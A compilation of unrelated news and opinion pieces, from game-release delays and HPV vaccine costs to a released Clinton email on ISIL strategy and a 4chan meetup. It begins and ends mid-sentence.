clever mechanisms that most Americans, almost — most Americans, including most elected officials, don’t even know about. But in the end, they’re going to end up disenfranchising about three million voters, mainly African American, Hispanic, American Indian, senior citizens and elderly, the hard core of the Democratic Party. And so, we’ve done — myself and Greg Palast — I’ve done an analysis, an easy-to-read analysis, which will be published in Rolling Stone, I think in the September 12th issue. I’ve got to go.  AMY GOODMAN: Thank you very much.  ROBERT F. KENNEDY, JR.: Thank you.
-Get ready to fall off your chair, and probably through the floor itself, with shock. From Dust, the new game from Eric “Another World” Chahi, was due out from Ubisoft on Wednesday this week. But would you just flipping believe it – Green Man Gaming are reporting that at the very last moment it seems the PC version only has being delayed!  Climb back up, calm yourself down. I know. It’s too much. Of all people, who would have thought Ubi could be the ones to suddenly delay the PC version of a game at the eleventh hour, like they did with Call Of Juarez: The Cartel last week. And others of their games in the last couple of years.  Now due on the 17th August on the PC, 360 owners will be able to enjoy the game almost a month in advance.  Last week, when the same happened with Call Of Juarez: The Cartel, I approached Ubisoft to ask why this had happened on this occasion, and more importantly, why it happens on so many occasions. After a couple of days I received this reply:  “Our teams work hard to ensure that all versions of our games achieve a level of polish and quality that our customers will appreciate. The development team needed a little more time to focus on the PC version [of Call of Juarez], so we adjusted the date accordingly.”  The answer to my second question, came it not.  It’s worth noting that while Green Man and GamersGate have both updated the release date on their sites, Ubisoft are still selling it as if it will come out on Wednesday.  Big thanks to Trey for letting us know.
-Helen Branswell, The Canadian Press  TORONTO -- A new study suggests giving boys the HPV vaccine could cut health-care costs over the long run.  The researchers used mathematical modelling to estimate the effect of giving HPV vaccine to 12-year-old boys to prevent cancers of the mouth and throat.  The work suggests if all the 12-year-old boys in Canada had been vaccinated in 2012, between $8 million and $28 million might have been saved because of oropharyngeal cancers averted in that group.  The types of human papillomaviruses that cause cervical cancer are also responsible for some oropharyngeal cancers, a form of cancer that is on the rise.  But a senior vaccine researcher questions the finding, saying the study design chosen wasn't the right one for testing this kind of question.  Currently Prince Edward Island and Alberta offer HPV vaccine to boys as well as girls; on Friday, Nova Scotia announced it will follow suit in the fall.  "Gradually bit by bit, perhaps, people are thinking that it is a good thing to do. Because there's no reason why we shouldn't protect the men also," says Dr. Lillian Siu, a medical oncologist at Toronto's Princess Margaret Cancer Center. Siu is one of the senior authors of the study.  The authors admit the mathematical model they used did not take into account what's known as herd immunity -- the protective effect on the entire population of having a significant portion of people vaccinated against a given pathogen.  In this case that means the researchers did not factor into their calculations how vaccinating girls would affect the HPV risk faced by boys. Already research elsewhere has shown rates of genital warts and some HPV-related cancers in men are dropping in the wake of introduction of public programs to vaccinate girls.  The belief is that as the number of girls and women who are protected against HPV rises, fewer of these viruses will circulate so many males will get indirect protection. That group protection may not be as pronounced for the community of males who have sex with other males.  It's not possible to accurately assess the cost-effectiveness of vaccinating boys without factoring in the impact of the girls' program, says Dr. Natasha Crowcroft, a vaccine expert at Public Health Ontario who was not involved in this study.  "The herd effect is so overwhelmingly important you can't leave it out of any analysis," says Crowcroft, who is chief of applied immunization research for the agency.  "When you've got 50 per cent uptake (in girls), it makes more sense to immunize the boys because then you increase your chances of getting herd immunity. Now we're getting 80 per cent uptake in (Ontario) girls. It makes less sense to add the boys in, to me," Crowcroft says, though she acknowledges there is still the question of how to protect males who are gay.  She insists her critique of the study doesn't mean she opposes giving the vaccine to boys, noting her son was vaccinated. But costs and benefits need to be weighed. "If we're using public funds, then we have to make careful choices. Because ... we're always taking money away from something else we could be doing."  The study, which was published in the journal Cancer, as written by scientists at Princess Margaret Cancer Center, Cancer Care Ontario, and Centre for Addiction and Mental Health, all in Toronto.
-Michael Kelly and I are very pleased to announce the Table of Contents for the Year’s Best Weird Fiction, Volume One , due August.  “Success” by Michael Blumlein, The Magazine of Fantasy & Science Fiction, Nov./Dec.  “Like Feather, Like Bone” by Kristi DeMeester, Shimmer #17  “A Terror” by Jeffrey Ford, Tor.com, July.  “The Key to Your Heart Is Made of Brass” by John R. Fultz, Fungi #21  …  “A Cavern of Redbrick” by Richard Gavin, Shadows & Tall Trees #5  “The Krakatoan” by Maria Dahvana Headley, Nightmare Magazine/The Lowest Heaven, July.  “Bor Urus” by John Langan, Shadow’s Edge  “Furnace” by Livia Llewellyn, The Grimscribe’s Puppets  “Eyes Exchange Bank” by Scott Nicolay, The Grimscribe’s Puppets  “A Quest of Dream” by W.H. Pugmire, Bohemians of Sesqua Valley  “(he) Dreams of Lovecraftian Horror” by Joseph S. Pulver Sr., Lovecraft eZine #28  “Dr. Blood and the Ultra Fabulous Glitter Squadron” by A.C. Wise, Ideomancer Vol. 12 Issue 2  “The Year of the Rat” by Chen Quifan, The Magazine of Fantasy & Science Fiction, July/August.  “Fox into Lady” by Anne-Sylvie Salzman, Darkscapes  “Olimpia’s Ghost” by Sofia Samatar, Phantom Drift #3  “The Nineteenth Step” by Simon Strantzas, Shadows Edge  “The Girl in the Blue Coat” by Anna Taborska, Exotic Gothic 5 Vol. 1  “In Limbo” by Jeffrey Thomas, Worship the Night  “Moonstruck” by Karin Tidbeck, Shadows & Tall Trees #5  “Swim Wants to Know If It’s as Bad as Swim Thinks” by Paul Tremblay, Bourbon Penn #8  “No Breather in the World But Thee” by Jeff VanderMeer, Nightmare Magazine, March.  “Shall I Whisper to You of Moonlight, of Sorrow, of Pieces of Us?” by Damien Angelica Walters, Shock Totem #7.
-Hamid Karzai, the Afghan president, has said an assassination attempt against Afghanistan's spy chief "came from Pakistan".  Speaking in the Afghan capital on Saturday, Karzai said though the Taliban claimed responsibility for Thursday's attempt on the life of Asadullah Khalid, head of the National Directorate of Security, the attack originated in Quetta.  "Of course we will be seeking clarification from Pakistan because we know this man who came in the name of a guest to meet Asadullah Khalid came from Pakistan. We know that for a fact", he said.  Karzai stopped short of directly implicating his neighbour to the south, but did say he would demand clarification from Islamabad.  He said the attack, in which an explosive was hidden in the underwear of the bomber, was beyond the Taliban's capabilities.  "Apparently the Taliban claimed responsibility like many other attacks," Karzai said.  "But such a complicated attack and a bomb hidden inside his body, this is not Taliban work ... It's a completely professional [job] ... Taliban cannot do that and there are bigger and professional hands involved in it."  Karzai said the issue would be discussed next week with Pakistani officials during a meeting between the foreign  ministers of Afghanistan, Pakistan and Turkey in Ankara.  For its part, Pakistan's foreign ministry said: "before levelling charges, the Afghan government would do well if they shared information or evidence with the government of Pakistan that they might have with regard to the cowardly attack on [Khalid]".  Khalid, who had been appointed the new head of the Central Asian nation's spy agency in September despite allegations of torture and drug trafficking, was in a Kabul guest house when a suicide bomber posing as a peace envoy left him wounded.  Before his role as spy chief, Khalid had served as the minister of tribal and border affairs and the governor of southern Kandahar province for three years starting in 2005.
-Polar bear hairs are hollow to maximize insulating qualities of the animals' fur, as almost every student of the Arctic knows.  But now a set of studies from China shows polar bear hairs are much more than simple tiny tubes.  Detailed mathematical analysis of the hairs, published in the journal Thermal Science, finds they have complex structures that make them much better insulators than simple hollow hairs would be.  Microscopic examination of polar bear hairs reveals their interior is a structure of membrane pores, researchers from several Chinese universities have found. The latest analysis finds the pore structure is arranged as a fractal, a series of repeating patterns spun off into smaller dimensions.  Calculation of the pore structure finds the ratio of its dimensions to be close to a mathematical figure known as the "golden mean," the ideal dimension ratio for an infinitely spiraling fractal, says one study. The dimension ratio of the inner structure of the analyzed polar-bear hair was calculated at 1.625, close to the golden mean, which is also called Phi and is approximately 1.618; the golden mean "must reveal the possible optimal structure of polar bear hairs," the study says.  Though it appears white, polar bear fur is translucent, helping it absorb environmental heat, the study points out. Without the interior pores' fractal arrangement, however, the translucent hair that absorbs light could easily send heat back out into the environment, the study says.  A related study, with some of the same co-authors, calculates the equation for one-dimensional heat conduction through each "labyrinth cavity" of the hair. The authors used calculus to arrive at a differential equation showing how heat moves through the hairs.  The studies -- the latest in a series on the same subject by the same group of Chinese researchers -- are not mere academic exercises.  Understanding the structure and workings of polar-bear hairs "may find many potential applications in the future, especially in thermal insulation designs for extreme cases," said an earlier study by some of the same authors, published in 2011 in Thermal Science.  They note in their studies that polar bears maintain body temperatures of 98.6 degrees in an environment where temperatures can dip as low as minus 76 degrees.  The Chinese researchers are not alone in looking to polar-bear hair as a model for future heat-collecting and heat-holding products.
-Hillary Clinton, former Secretary of State and 2016 Democratic presidential candidate, speaks during a campaign event in Manchester, New Hampshire, U.S., on Friday, Feb. 5, 2016. Democratic Party officials in Iowa say they can't do a recount of Monday's razor-thin presidential caucus results between Clinton and Senator Bernie Sanders, even if they thought it was appropriate. And both candidates, in their debate later Thursday night, said it was no big deal. Photographer: Andrew Harrer/Bloomberg via Getty Images  Last month as Hillary Clinton was leaving a town meeting in Manchester, Lee Fang of the Intercept asked her if she would release the transcripts of her paid, and very private speeches to Goldman Sachs, the Wall Street powerhouse historically deep in Washington, D.C., influence-peddling. Mrs. Clinton just laughed.  It is probably a good bet that her laugh was masking a deep worry, shared by her husband, that disclosing what she confidentially told big-business conferences and conventions around the country, which paid her about $5,000 a minute, would emerge as a dominant issue in the mainstream media.  Reporters have taken notice of her $250,000-and-up speeches before trade associations from which they have been excluded. But journalists have not demanded that she tell the voters what she told the executives from Morgan Stanley, Fidelity Investments, the National Association of Chain Drug Stores, Golden Tree Asset Management, the National Automotive Dealers Association, Deutsche Bank, the National Association of Realtors, eBay, Cisco, among other plutocracy paymasters seeking to expand their political influence.  Until that is, Thursday night's debate in New Hampshire. Chuck Todd of MSNBC asked Hillary Clinton: "Are you willing to release the transcripts of all your paid speeches? We do know, through reporting, that there were transcription services for all those paid speeches. In full disclosure, would you release all of them?"  Mrs. Clinton responded: "I will look into it. I don't know the status but I will certainly look into it."  Let's see how long it will take for her large staff and contacts with these business groups "to look into it."  According to the New York Times, her "contracts for such events typically include strict confidentiality agreements, meaning there are no known video recordings of Mrs. Clinton's Wall Street appearances." But why would Clinton, in a heated contest with Sen. Bernie Sanders, maintain this cloak of secrecy and further the speculation it feeds? Could it have something to do with the many deals and entanglements, for political pursuits and self-enrichment, that have enveloped both Clintons over the years, detailed in Peter Schweizer's recent book, Clinton Cash?  Were the contents of these meetings with business interests revealed, Hillary Clinton would lose more control of the progressive narrative she has worked hard to fabricate. Reporters, opponents and voters would quickly start to make connections and conclusions, whether rooted in fact or surmise. Her campaign message, recently garnished with progressive language to thwart Sanders, would be overshadowed.  What might have Hillary Clinton told these commercial audiences? What did those in attendance want to hear from her in such closed-door sessions? She says she spoke at these corporate gatherings about the state of the world. That is a big umbrella indeed. No doubt she delivered her views of U.S. foreign and military policy - unclassified observations she made in media interviews or public addresses. However, Hillary does her homework for each specific audience she addresses; it's her way of responding to their priority interests and impressing them with her command of the subject matter.  For example, Morgan Stanley, one of many major Wall Street supporters of her electoral campaigns, is a strong supporter of the pending Trans-Pacific Partnership trade treaty. So was she until recently, when she expediently stepped back with some skepticism about its labor and environmental contents. What did she say to Morgan Stanley's officials when she was with them on the TPP, opposed by many voters?  According to Politico, drawing leaks from attendees, she told the Goldman-Sachs financiers that banker-bashing was unproductive and foolish. What these businesspeople want, of course, is access, should she become president, and such meetings generate friendships. They also want to hear Hillary Clinton's views on regulation, tax policies, subsidies, government contracting matters and trade. We won't know what she told those groups, who made her a millionaire many times over (she received in a single speech five times the household median income for a year) until the press and the people demand their right to know and judge her accordingly.  So far she has been able to dodge disclosing the content of her speeches, while interviewers were focusing on the giant speech fees. But now she is in New Hampshire - the last state of "retail campaigning" and town meetings where voters can put face-to-face to Clinton the demand that she disclose the content of her speeches inside these closed-door business gatherings. Once she leaves New Hampshire, her flaks and screeners will rapidly replace people-to-people dialogue with big-media buys and photo opportunities.  The right to know is never more important than when it pertains to the activities of presidential candidates. The White House is a cauldron of excessive secrecy - secret deals, secret memos, secret meetings with special interests on matters of serious public policy. Morbid secrecy breeds recklessness and bad government. If there is ever a time to teach presidential candidates about openness in government, it is when they are desperately seeking our votes.  Inquiring voters and Bernie Sanders now have an opportunity to make transparency an important matter of candidate accountability and believability. Otherwise, manipulative and deceptive rhetoric holds sway.  In any event, before Hillary Clinton departs from New Hampshire on Tuesday, the voters themselves who meet her can insist that she tell them just what she told those business magnates on Wall Street. She has a large staff and good files for fully and promptly responding to lifting this strange curtain of secrecy around closed speeches for big fees.
-LONDON — The slugs are back, and this time there are even more of them.  Following 2015's slugocalypse, in which mild temperatures prompted a boom in both homegrown and introduced Spanish slugs, the slimy creatures are making a return en masse again.  A wet summer in 2015 followed by an unusually mild winter has meant that slugs across the UK have skipped their hibernation and spent the time eating and breeding instead, conservation charity Buglife told the BBC. It could mean an "explosion" in the slug population and problems in gardens across the country.  See also: Mild weather could lead to an explosion of slugs in the UK  There are some 20,000 slugs in the average British garden, Countryfile estimates.  They prefer temperatures above five degrees Celsius (41 degrees Fahrenheit) and lay up to 200 eggs per cubic metre. Buglife says that figure could rise by as much as 10% this year, thanks to climate conditions and a decline in predators including hedgehogs and amphibians.  "Due to climate shifts, warmer winters and wetter summers, we're seeing slugs become active all year round," Buglife's chief executive Matt Shardlow said.  "Whereas key predators like amphibians will only lay their eggs once a year, slugs are not so restricted."  "The impact of super-sized, sleepless slugs could spell devastation for our gardens this summer."  The Royal Horticultural Society offers a number of tips for dealing with slugs if they take over your garden, from heading out at night with a torch to transfer them away to a nearby field to placing barriers around pots that need protecting and setting traps, such as scooped out grapefuit skins, to stop them in their slithery tracks.
-To our friends, former co-workers, and industry colleagues at ArenaNet:  We are profoundly saddened to hear the news of the layoffs today. We feel a special kinship with ArenaNet given our shared DNA and our shared history of working together. We can only imagine what you are going through and would like to extend our heartfelt support. Indeed, news like this takes its toll on the entire industry, and taken together with the recent layoffs at Activision/Blizzard and the closure of the former Z2 studio in Seattle, we are distressed by the destruction of trust and safety that creative enterprises require to thrive.  As such, we would like to do everything we can to help people find their next great opportunity. We invite all ArenaNet staff to join us for an open house at Undead Labs on Wednesday evening, February 27th, from 4:00 to 7:00 pm. We’ll do our best to coordinate with the entire Xbox Game Studios family to ensure we have broad representation of opportunity within all of our studios. We’ll be ready to share more about our open positions, our product plans, and our development culture with you. Dinner and parking on us. Please RSVP by letting a friend here at the Lab know you plan to attend, or send an email to: rsvp@undeadlabs.com
-Man charged with murder in girlfriend’s stabbing at Oakland market  A woman was stabbed numerous times inside the Oakland Market near the corner of 18th and Filbert streets in West Oakland on Sunday. A woman was stabbed numerous times inside the Oakland Market near the corner of 18th and Filbert streets in West Oakland on Sunday. Photo: Google Maps Photo: Google Maps Image 1 of / 3 Caption Close Man charged with murder in girlfriend’s stabbing at Oakland market 1 / 3 Back to Gallery  A West Oakland store employee was charged Tuesday with murder in the stabbing death of his girlfriend.  Rusamie Ashly Phongphoumy, 19, of Richmond was stabbed numerous times inside the Oakland Market near the corner of 18th and Filbert streets in West Oakland about 11:30 a.m. Sunday. She died at the scene.  Her boyfriend, 35-year-old Abdol Ali Omar of Oakland, was arrested at the store, where both he and the victim worked, authorities said. The stabbing was captured by high-quality surveillance video from two camera angles, Oakland police Sgt. Caesar Basa wrote in an affidavit.  Omar’s stepbrother witnessed the incident and tried to intervene, Basa wrote.  Omar was booked at a downtown Oakland jail on suspicion of murder. On Tuesday, Alameda County prosecutors charged him with murder and an enhancement for allegedly using a knife..  In a separate case over the weekend, 15-year-old Isaiah Smith was found shot to death on the 5400 block of Trask Street in East Oakland shortly before noon Saturday. Isaiah was a sophomore at Fremont High School in Oakland.  Henry K. Lee is a San Francisco Chronicle staff writer. E-mail: hlee@sfchronicle.com Twitter: @henryklee
-Freshen up your amiibo collection with this Splatoon amiibo series 3-pack! With Inkling Girl, Boy and Squid in fresh alternate colors, these amiibos are all you need to recreate an exciting Turf War in your room. You might want to keep them spread out in your collection, though, because when Inklings are together in one place, things tend to get messy!  Check out the other Splatoon amiibo and prepare the slickest inking team around!  Inkling Boy  Inkling boys hail from the city of Inkopolis in the Splatoon game. They crave team-based competition and love to customize their gear before participating in the hottest sport in town, Turf War! Their hobbies include making messes, rocking the latest fashions, dancing, and spoiling the nefarious plans of their evil octopus archrivals, the Octarians! Like a boss!  Inkling Girl  Inkling girls hail from the city of Inkopolis in the Splatoon game. They crave team-based competition and love to customize their gear before participating in the hottest sport in town, Turf War! Their hobbies include making messes, rocking the latest fashions, dancing, and spoiling the nefarious plans of their evil octopus archrivals, the Octarians! For realsies!  Inkling Squid  In the Splatoon game, the main characters, Inklings, can instantly transform into squids! We're not sure what marvel of anatomy allows them to perform this majestic feat, but it sure is sweet. In squid form, Inklings can swim in any surface they've splattered with ink, even up walls! They can also hide from opponents by submerging in ink and keeping still. How cool is that?  What are amiibo?  amiibo are fun, high-quality Near Field Communication (NFC) figures to collect that also unlock special in-game extras for Nintendo Wii U and 3DS games. Your amiibo can be trained, used to unlock new Mii outfits and character powers, and much more in a variety of games! Enjoy the newest way to play with amiibo!
-The video went viral: A Warren police officer strapping a young mother from Detroit into a restraint chair and slicing off her hair weave.  Now that same officer is once again caught cutting on camera – this time accused of slicing open a prisoner’s hand.  Lawyers who say they’ve followed this officer’s alleged “use of force” problems for years say it was only a matter of time before this happened again.  7 Investigator Heather Catallo obtained exclusive video from inside the Warren Police Jail.  In the video, you can see Warren Police Officer Bernadette Najor, who now uses her married name, Bernadette Moore.  In the video, Officer Moore can be seen ordering an intoxicated 19-year-old from Warren to remove a bracelet that’s made of string.  Shannon Morris says she tried telling the officer that the bracelet doesn’t come off. But she ends up on the ground, with a large gash in her hand.  “The next thing I remember is being on the floor asking what happened over and over again. One of the male officers just replied with ‘she stabbed you,’”said Morris.  This isn’t the first time we’ve seen this officer use a sharp object on a prisoner. Officer Moore made headlines around the world back in 2014 when the 7 Investigators first exposed how she strapped a young mother into a restraint chair and used scissors to slice off her sewn-in hair weave.  So how did a knife get into Officer Moore’s hands, when weapons are not allowed inside Warren’s lock up?  “I didn’t feel like I was a human anymore, the way they had treated me,” said Morris.  Morris admits that since she’s only 19, she should not have been drinking back on April 2, 2016. But Morris says she’s actually the one who called the police, hoping to thwart a drug deal from taking place near her house.  “I was pushed around. I wasn’t treated like I had any value at all, when I was trying to do was help in the beginning,” said Morris.  Belligerent and intoxicated, Warren police took Morris into custody. Morris says she suffers from depression and anxiety, and doesn’t remember much of her arrest.  After the scuffle over her string friendship bracelets, police reports show that those do get removed. Then the officers try to remove the drawstring of Shannon’s pants. One of the male officers asked a third officer to get the safety scissors. Instead, Officer Moore “produced a pocket knife and cut the strings out herself.”  That’s when her hand got sliced.  “She didn’t stop bleeding the entire night. We’re not talking about a small injury. We’re not talking about a laceration. We’re talking about a gash,” said Attorney Paul Misukewicz. Misukewicz said he wasn’t surprised to learn Officer Moore caused his client’s injuries.  “As soon as I heard the name, I said oh boy,” said Misukewicz.  Misukewicz also represented Charda Gregory, the woman who had her weave cut off by force. Misukewicz says Warren Police did the right thing when they fired Officer Moore for that. But an arbitrator forced the city to hire Moore back, because there was not a clear policy that prevented weave removals.  “She should have never got her job back, that arbitrator – that was a miscarriage of justice,” said Misukewicz.  But this time there is a very clear policy: you cannot have weapons in the lock-up.  “It’s right there in their policy manual – it’s unquestioned she violated policy by bringing that knife in to the jail,” said Misukewicz.  Shannon Morris and Charda Gregory are not the only women who say they’ve been hurt by Officer Moore. The 7 Investigators uncovered police records that reveal at least 4 additional women who had issues with Officer Moore’s use of force.  “She took her boot and put it in my hair, and yanked her boot back, and pulled my hair out with her boot, and then kicked me in my side,” Virginia Hamilton told 7 Investigator Heather Catallo in 2015.  “She hit me with a closed fist – in the face,” said Kathy Buford in February 2015.  “I feel bad for the city of Warren, because it sucks that anyone has to work with her when they know she’s not doing her job,” said Morris. “They’re putting everyone at risk with having her work there.”  The city of Warren isn’t commenting about this, because Officer Moore is suing the police department and the Police Commissioner for firing her after the weave-cutting incident.  As for Shannon Morris, she is facing six misdemeanor charges.  We have also learned that Officer Moore is now facing an unpaid suspension.  Moore’s attorneys released a statement to us: “Officer Moore is an excellent police officer doing a difficult job. On a daily basis, people are brought to jail angry, intoxicated, delusional, and worse. Moore treats everyone with respect, even those who assault her and there have been many over the years.”
-Get the biggest What's On stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Bookie William Hill has suspended betting on The Stone Roses headlining Glastonbury.  The Sunday night headline slot for the world-famous festival is still up for grabs, with Kanye West and Foo Fighters already announced on the line-up.  A raft of bets saw the Manchester band's odds tumble from 12/1 to even money in less than 24 hours, with Blur the 2/1 second favourites ahead of Prince (9/2) and Kate Bush (5/1).  William Hill spokesman Joe Crilly said: “It looks like the announcement many have been expecting since 2011 could finally happen and the Stone Roses look set to headline Glastonbury.  “A gamble like this usually indicates an announcement is not far away.”  But industry insiders have again insisted there is no basis to the growing Roses rumours.  Our well-placed source told the M.E.N.: “The Roses are definitely not doing Glastonbury this year, 100 per cent not.”  Other acts actually confirmed as pulling on their wellies and heading to Worthy Farm on June 24-28, include Florence and The Machine Mary J Blige, Pharrell Williams, Alt-J, Motorhead and Lionel Richie.  Glastonbury 2015 Sunday Headliner odds: 1/1 Stone Roses; 2/1 Blur; 9/2 Prince; 5/1 Kate Bush; 8/1 Coldplay; 10/1 Depeche Mode; 12/1 Fleetwood Mac; 12/1 AC/DC; 16/1 BAR
-Here's what I mentioned  From:hrod17@clintonemail.com To: john.podesta@gmail.com Date: 2014-08-17 17:50 Subject: Here's what I mentioned  Note: Sources include Western intelligence, US intelligence and sources in the region. 1. With all of its tragic aspects, the advance of ISIL through Iraq gives the U.S. Government an opportunity to change the way it deals with the chaotic security situation in North Africa and the Middle East. The most important factor in this matter is to make use of intelligence resources and Special Operations troops in an aggressive manner, while avoiding the old school solution, which calls for more traditional military operations. In Iraq it is important that we engage ISIL using the resources of the Peshmerga fighters of the Kurdish Regional Government (KRG), and what, if any, reliable units exist in the Iraqi Army. The Peshmerga commanders are aggressive hard fighting troops, who have long standing relationships with CIA officers and Special Forces operators. However, they will need the continued commitment of U.S. personnel to work with them as advisors and strategic planners, the new generation of Peshmerga commanders being largely untested in traditional combat. That said, with this U.S. aid the Kurdish troops can inflict a real defeat on ISIL. 2. It is important that once we engage ISIL, as we have now done in a limited manner, we and our allies should carry on until they are driven back suffering a tangible defeat. Anything short of this will be seen by other fighters in the region, Libya, Lebanon, and even Jordan, as an American defeat. However, if we provide advisors and planners, as well as increased close air support for the Peshmerga, these soldiers can defeat ISIL. They will give the new Iraqi Government a chance to organize itself, and restructure the Sunni resistance in Syria, moving the center of power toward moderate forces like the Free Syrian Army (FSA). In addition to air support, the Peshmerga also need artillery and armored vehicles to deal with the tanks and other heavy equipment captured from the Iraqi army by ISIL. 3. In the past the USG, in an agreement with the Turkish General Staff, did not provide such heavy weapons to the Peshmerga, out of a concern that they would end up in the hands of Kurdish rebels inside of Turkey. The current situation in Iraq, not to mention the political environment in Turkey, makes this policy obsolete. Also this equipment can now be airlifted directly into the KRG zone. 4. Armed with proper equipment, and working with U.S. advisors, the Peshmerga can attack the ISIL with a coordinated assault supported from the air. This effort will come as a surprise to the ISIL, whose leaders believe we will always stop with targeted bombing, and weaken them both in Iraq and inside of Syria. At the same time we should return to plans to provide the FSA, or some group of moderate forces, with equipment that will allow them to deal with a weakened ISIL, and stepped up operations against the Syrian regime. This entire effort should be done with a low profile, avoiding the massive traditional military operations that are at best temporary solutions. While this military/para-military operation is moving forward, we need to use our diplomatic and more traditional intelligence assets to bring pressure on the governments of Qatar and Saudi Arabia, which are providing clandestine financial and logistic support to ISIL and other radical Sunni groups in the region. This effort will be enhanced by the stepped up commitment in the KRG. The Qataris and Saudis will be put in a position of balancing policy between their ongoing competition to dominate the Sunni world and the consequences of serious U.S. pressure. By the same token, the threat of similar, realistic U.S. operations will serve to assist moderate forces in Libya, Lebanon, and even Jordan, where insurgents are increasingly fascinated by the ISIL success in Iraq. 6. In the end the situation in Iraq is merely the latest and most dangerous example of the regional restructuring that is taking place across North Africa, all the way to the Turkish border. These developments are important to the U.S. for reasons that often differ from country to country: energy and moral commitment to Iraq, energy issues in Libya, and strategic commitments in Jordan. At the same time, as Turkey moves toward a new, more serious Islamic reality, it will be important for them to realize that we are willing to take serious actions, which can be sustained to protect our national interests. This course of action offers the potential for success, as opposed to large scale, traditional military campaigns, that are too expensive and awkward to maintain over time. 7. (Note: A source in Tripoli stated in confidence that when the U.S. Embassy was evacuated, the presence of two U.S. Navy jet fighters over the city brought all fighting to a halt for several hours, as Islamist forces were not certain that these aircraft would not also provide close ground support for moderate government forces.) 8. If we do not take the changes needed to make our security policy in the region more realistic, there is a real danger of ISIL veterans moving on to other countries to facilitate operations by Islamist forces. This is already happening in Libya and Egypt, where fighters are returning from Syria to work with local forces. ISIL is only the latest and most violent example of this process. If we don’t act to defeat them in Iraq something even more violent and dangerous will develop. Successful military operations against these very irregular but determined forces can only be accomplished by making proper use of clandestine/special operations resources, in coordination with airpower, and established local allies. There is, unfortunately, a narrow window of opportunity on this issue, as we need to act before an ISIL state becomes better organized and reaches into Lebanon and Jordan. 9. (Note: It is important to keep in mind that as a result of this policy there probably will be concern in the Sunni regions of Iraq and the Central Government regarding the possible expansion of KRG controlled territory. With advisors in the Peshmerga command we can reassure the concerned parties that, in return for increase autonomy, the KRG will not exclude the Iraqi Government from participation in the management of the oil fields around Kirkuk, and the Mosel Dam hydroelectric facility. At the same time we will be able to work with the Peshmerga as they pursue ISIL into disputed areas of Eastern Syria, coordinating with FSA troops who can move against ISIL from the North. This will make certain Basher al Assad does not gain an advantage from these operations. Finally, as it now appears the U.S. is considering a plan to offer contractors as advisors to the Iraqi Ministry of Defense, we will be in a position to coordinate more effectively between the Peshmerga and the Iraqi Army.)
-According to officials the man appeared to be under the influence of alcohol  Victim was 'grabbed by the neck and dragged round tiger enclosure'  Man killed by white tiger after jumping into enclosure at New Delhi Zoo  A man has been killed by an endangered tiger after allegedly jumping into its moat at an Indian zoo.  The man, named locally as Maqsood, is said to have been under the influence of alcohol when he climbed into the white tiger enclosure at New Delhi Zoo on Tuesday.  Witnesses say the 22-year-old entered the enclosure despite several attempts by zoo security to keep him from the tigers.  Scroll down for video  Attack: A screenshot from Indian television show the white tiger standing over the man after he jumped into its enclosure at the New Delhi Zoo  Fierce foe: According to officials the man appeared to be under the influence of alcohol and jumped over the fence despite zoo security's attempts to stop him  Indian police and zoo personnel retrieve the shoes the man, who was 'dragged around the enclosure' by the white tiger Another witness said the tiger kept ‘roaming around’ the enclosure, holding the victim by the neck. Zoo officials said the man had appeared to have been ‘under the influence of alcohol’ and that security had tried to keep him away from the tiger enclosure. ‘Despite repeated warnings that he shouldn't get too close to the outdoor enclosure, the man eventually climbed over a knee-high fence and small hedges, then jumped down 18 feet into a protective moat,‘ National Zoological Park spokesman Riyaz Ahmed Khan said. Authorities eventually frightened the tiger into a small cage inside the enclosure.  The man, whose body remained in the outdoor enclosure two hours after the attack, was dead by the time help reached him, Khan said.  Gruesome: According to witnesses, the man's body was left in the enclosure for several hours before police were able to remove it Tragedy: Zoo workers and security staff carry Maqsood's body past the tiger cage at the zoo in New Delhi The man, whose body remained in the outdoor enclosure two hours after the attack, was dead by the time help reached him  The zoo remained open Tuesday afternoon, though authorities eventually roped off the tiger enclosure.  White tigers are found in southern and eastern Asia, particularly India, and owe their appearance to a recessive gene. They are regarded as an endangered species.  India is home to 1,706 Royal Bengal tigers and fewer than 100 white tigers, according to the last census in 2011. All the white tigers are in captivity.
-What's the Internet's scariest hivemind like in real life? A bunch of geeky twenty-somethings hanging out in a bar in Brooklyn. This is what I learned last night at the first official meetup for the notorious message board 4chan.  On the Internet, 4chan equals chaos: hacking Sarah Palin's email; flooding YouTube with hardcore porn; taking down gossip blogs; vandalizing dead teens' Facebook memorial pages. What comes to mind is that scene in Lord of the Rings where the orcs are running around like crazy in their underground fortress.  So, I expected something a little more havoc-filled than what I found when I arrived at Barcade in Williamsburg at around 9:30 Friday night: about a half-dozen very normal-looking young men and one young woman crowded around a table, lit up by blinking 1980s arcade games that lined the room. Their 4channess was signaled only by the woman's iPhone 4, on which she had loaded a picture of "Troll Face," a crudely drawn caricature that's sort of a 4chan logo. She waved it around like a beacon.  Upon sitting down, I was relieved to see that none of the assembled 4channers looked very capable of violence. Relieved, because this summer, some 4chan users declared war on me and Gawker over a few blog posts I wrote about the site's role in harassing an 11-year-old viral video star. They brought down Gawker, prank called me and tried sending a bunch of cardboard boxes to my house. (The address was wrong; some random Chinese lady in Queens got the boxes.) Before heading to the meet-up, I steeled myself with beer, figuring it would hurt less to be felled by a 4channer's poison blade if I was sort of tipsy.  But all the 4channers here were friendly; the few that recognized my name actually seemed excited to meet me. They were like kids in the cafeteria on the first day of school, eagerly recounting the crazy stuff they did over the summer. They talked about memes, pranks, video games, 4chan's bad rep (not completely unearned, most seemed to agree). A musician named JP explained the sense of release.  "Normally I'm very careful not to tell a lot of people that I go on 4chan," he told me. "I don't want them to go on there, see some child porn or something, and be like, 'What the hell is this guy into?'"  Still, they were definitely 4channers: At one point Alex, a disheveled pharmacy student in a grey hoodie and steel-framed glasses, pointed at me and said, "You know who you look like? Brian Peppers." Brian Peppers is a meme popular on 4chan. Brian Peppers looks like this:  People slowly accreted around the table, and there were maybe 30 or 40 by the time 4chan's 22-year-old founder, Chris "Moot" Poole, showed up. Moot lives in Manhattan, where he's currently working on a new start-up called Canvas Networks. He was instantly swamped by fans. A Filipino guy next to me freaked out: "In all of my 23 years, this is the first time I've ever met a celebrity!" He had come all the way from Connecticut, where he works at Dunkin' Donuts.  Moot was also very nice. In the past, he's kept an extraordinarily low profile, but it seems recently he's been increasing his visibility, making his presence felt more on the site. He gamely took pictures with every fan who asked, and when I introduced myself he joked, "When's the blog post going up? '4chan Users Finally Crawl Out of Their Basement?'" I asked him what prompted him to organize the meet-up, which he had done by posting a small message at the top of every message board just 24 hours earlier. He said he was inspired by the vibrant "in real life" communities of other websites, like the geek culture blog Laughing Squid.  In a Q&A with 4chan users 